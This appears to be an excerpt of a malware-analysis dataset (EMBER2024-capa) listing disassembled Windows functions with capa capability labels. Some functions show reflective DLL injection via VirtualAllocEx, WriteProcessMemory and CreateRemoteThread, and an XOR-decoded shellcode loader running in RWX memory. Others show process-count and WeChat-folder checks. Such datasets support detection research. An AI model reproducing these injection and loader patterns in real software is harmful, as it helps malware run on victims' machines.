joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2b5861ef4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp - 0x20], 0
mov dword [rbp - 4], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
cmp qword [rbp + 0x10], 0
je 0x2b5861f3d
cmp dword [rbp + 0x18], 0
jne 0x2b5861f47
mov eax, 0
jmp 0x2b5861fea
mov rax, qword [rbp + 0x10]
mov rcx, rax
call dbg.GetReflectiveLoaderOffset
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x2b5861fe6
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x10], rax
mov edx, dword [rbp + 0x18]
lea rcx, [rbp - 0x24]
mov rax, qword [rbp + 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
je 0x2b5861fe6
mov rax, qword [rbp - 0x10]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x2b5861fc6
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov edx, 6
mov ecx, 0
call rax
test eax, eax
jne 0x2b5861fc6
mov qword [rbp - 0x20], 0
mov ecx, dword [rbp - 0x24]
mov edx, dword [rbp + 0x18]
lea r8, [rbp - 0x28]
mov rax, qword [rbp + 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp - 0x20]
add rsp, 0x50
pop rbp
ret
Function at 0x2b5861ff0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov dword [rbp - 0xc], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 8], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
cmp qword [rbp + 0x10], 0
je 0x2b5862135
cmp qword [rbp + 0x18], 0
je 0x2b5862135
cmp dword [rbp + 0x20], 0
je 0x2b5862135
mov rax, qword [rbp + 0x18]
mov rcx, rax
call dbg.GetReflectiveLoaderOffset
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
jne 0x2b586207e
lea rax, [0x2b586b124]
mov rcx, rax
call dbg.printf
jmp 0x2b5862135
mov edx, dword [rbp + 0x20]
mov rax, qword [rbp + 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x2b5862131
mov r8d, dword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x2b5862134
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x100000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 8], rax
jmp 0x2b5862135
nop
jmp 0x2b5862135
nop
mov rax, qword [rbp - 8]
add rsp, 0x70
pop rbp
ret

Function at 0x2b58623e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x2b5862de2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2b586e0a8]
test eax, eax
je 0x2b5862e7a
lea rax, [0x2b586e080]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2b586e0b0]
mov qword [rbp - 8], rax
jmp 0x2b5862e5e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2b5862e52
cmp qword [rbp - 0x10], 0
je 0x2b5862e52
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2b5862e18
lea rax, [0x2b586e080]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2b5862e7b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2b5862f80
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2b5862fa8
mov eax, 0
jmp 0x2b5862ff6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2b5862fd1
mov eax, 0
jmp 0x2b5862ff6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2b5862ff1
mov eax, 0
jmp 0x2b5862ff6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x2b5862ffc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2b586307a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2b5863071
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2b5863071
mov rax, qword [rbp - 8]
jmp 0x2b586308f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2b5863044
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x18000fb80
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x18000fbba
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x18000fbbf
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x18000fc08
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800122d0]
cmp byte [rcx + rax], 0
je 0x18000fc08
dec r8
sub rdx, 1
jne 0x18000fbee
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14001126c
Capabilities:
Terminate process

Disassembly:
jmp 0x140013c50
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011307
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014fa0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014fc0
xor al, al
jmp 0x140015041
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014fd3
xor al, al
jmp 0x140015041
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014ffd
xor al, al
jmp 0x140015041
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015011
xor al, al
jmp 0x140015041
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015023
xor al, al
jmp 0x140015041
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001503f
xor al, al
jmp 0x140015041
mov al, 1
add rsp, 0x38
ret
Function at 0x1400114b0
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140016a20
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x438], rax
lea rcx, [0x1400240f5]
call fcn.140011424
xor edx, edx
mov ecx, 2
call fcn.14001149c
mov qword [rbp + 0x268], rax
mov dword [rbp + 0x10], 0x238
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.1400114a6
mov dword [rbp + 0x284], 1
mov dword [rbp + 0x2a4], 0
mov eax, dword [rbp + 0x284]
inc eax
mov dword [rbp + 0x284], eax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.1400114ab
test eax, eax
jne 0x140016a9b
cmp dword [rbp + 0x284], 0xfa
jle 0x140016ad5
mov dword [rbp + 0x434], 1
jmp 0x140016adf
mov dword [rbp + 0x434], 0
mov eax, dword [rbp + 0x434]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001acc0]
call fcn.1400113ac
mov eax, edi
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.14001121c
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret

Function at 0x1400114b5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x140016920
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400240f5]
call fcn.140011424
lea rax, str.C:ProgramDataTencentWeChat
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0xffffffff
je 0x14001696c
mov eax, dword [rbp + 0x24]
and eax, 0x10
test eax, eax
je 0x14001696c
mov eax, 1
jmp 0x14001696e
xor eax, eax
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x180002190
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x180036060]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x80]
call fcn.1800081b0
lea rcx, [rbp - 0x80]
call fcn.1800030d0
nop
mov ebx, 2
mov r8d, ebx
lea rcx, [rbp - 0x80]
call fcn.1800034c0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x80]
call fcn.1800033e0
xor r8d, r8d
lea rcx, [rbp - 0x80]
call fcn.1800034c0
mov rcx, qword [rsp + 0x68]
add rcx, qword [rsp + 0x70]
call fcn.180005bb0
mov rdi, rax
mov r8, qword [rsp + 0x70]
add r8, qword [rsp + 0x68]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1800036b0
lea rcx, [rbp - 0x70]
call fcn.180003cc0
test rax, rax
jne 0x180001f52
mov rcx, qword [rbp - 0x80]
movsxd rdx, dword [rcx + 4]
mov eax, 6
cmp qword [rbp + rdx - 0x38], 0
cmovne eax, ebx
or eax, dword [rbp + rdx - 0x70]
and eax, 0x17
mov dword [rbp + rdx - 0x70], eax
and eax, dword [rbp + rdx - 0x6c]
jne 0x180002081
mov r8d, 0x6f
xor r9d, r9d
mov r10, qword [rsp + 0x70]
mov r11, qword [rsp + 0x68]
lea rax, [r10 + r11]
test rax, rax
jle 0x180001f98
mov rax, rdi
xor byte [rax], r8b
add r8d, 0xde
inc r9d
lea rax, [rax + 1]
mov r10, qword [rsp + 0x70]
mov r11, qword [rsp + 0x68]
lea rdx, [r10 + r11]
movsxd rcx, r9d
cmp rcx, rdx
jl 0x180001f71
lea rdx, [r10 + r11]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [0x1800388a8]
mov rbx, rax
mov r8, qword [rsp + 0x70]
add r8, qword [rsp + 0x68]
mov rdx, rdi
mov rcx, rax
call fcn.180007ae0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [0x1800388a0]
mov edx, 0xffffffff
mov rcx, rax
call qword [0x180038898]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x70]
call fcn.180002e20
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x30]
call fcn.1800055a4
nop
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.180005b20
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
test al, 4
je 0x18000208e
lea rbx, str.ios_base::badbit_set
jmp 0x1800020a2
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.180001460
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180001d20
lea rdx, [0x180034f20]
lea rcx, [rsp + 0x40]
call fcn.180007a0c
int3
sub rsp, 0x28
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1800021aa
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
add rsp, 0x28
jmp 0x180001e80
Function at 0x180002690
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1800026b2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x18000272c
mov rdi, r14
mov rcx, rbx
call fcn.180003de0
test rax, rax
jle 0x180002704
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.180007ae0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18000271c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180002724
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1800026c6
sub r14, rdi
jmp 0x18000280f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x180002743
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180002745
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180002777
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.180007ae0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18000280c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1800027b2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x1800027ed
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.18000db84
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x18000280c
cmp rbp, rax
ja 0x1800027c0
test rbp, rbp
je 0x18000280c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.18000db84
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x1800154ac
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x1800154de
call fcn.18000ee84
mov dword [rax], 0x16
call fcn.18000c578
jmp 0x1800155fd
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1800155fd
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1800155fd
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x18001550d
lock or dword [rcx + 0x14], 0x10
jmp 0x1800155fd
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x180015521
call fcn.180015ac4
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.180015484
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.180017898
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1800155eb
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x1800155b6
mov rcx, rsi
call fcn.180015484
cmp eax, edi
je 0x1800155a1
mov rcx, rsi
call fcn.180015484
cmp eax, 0xfffffffe
je 0x1800155a1
mov rcx, rsi
call fcn.180015484
movsxd rbx, eax
lea r14, [0x180038120]
mov rcx, rsi
sar rbx, 6
call fcn.180015484
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1800155a8
lea rdx, [0x180036400]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1800155b6
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x1800155da
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x1800155da
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x1800155da
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x180015600
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x180017020
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1800063b0
sub rsp, rax
mov rax, qword [0x180036060]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180015484
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18001706f
mov rax, rbp
jmp 0x180017177
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x38120]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180016c64
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x38120]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180017173
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180017173
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180016c64
test rax, rax
js 0x180017173
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180017173
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180017165
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180017165
cmp byte [rcx], 0xd
jne 0x18001714b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18001715a
cmp byte [rcx + 1], 0xa
jne 0x18001715a
inc rcx
jmp 0x18001715a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x36450]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x18001712d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180017177
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180005b20
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800173ec
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x180038120]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x18001744a
cmp word [rdx], r12w
jne 0x18001744a
or byte [rax + r8*8 + 0x38], cl
jmp 0x180017450
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x1800175ab
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x180017586
lea r9, [rcx + 2]
cmp ax, r13w
je 0x180017489
mov rcx, r9
jmp 0x1800174ac
cmp r9, rdx
jae 0x1800174c3
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x18001746d
jmp 0x1800175ab
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180017580
cmp dword [rsp + 0x80], edi
je 0x180017580
mov rdx, r14
lea r11, [0x180038120]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x180017559
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x18001752c
mov word [rbx], r12w
jmp 0x1800175a7
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x180017535
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x1800175a7
cmp word [rsp + 0x70], r12w
jne 0x180017566
cmp rbx, rsi
je 0x180017526
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.180016c6c
cmp word [rsp + 0x70], r12w
je 0x1800175ab
mov word [rbx], r13w
jmp 0x1800175a7
lea r11, [0x180038120]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x1800175a3
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1800175ab
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18001c98c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001c9bc
xor eax, eax
jmp 0x18001ca7f
mov rbp, rbx
cmp word [rax], si
je 0x18001c9e1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001c9c8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001c9c4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18001b0d4
movsxd r14, eax
test eax, eax
jne 0x18001ca1f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001c9b5
mov rcx, r14
call fcn.180018c18
mov rdi, rax
test rax, rax
jne 0x18001ca38
xor ecx, ecx
call fcn.18001349c
jmp 0x18001ca14
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
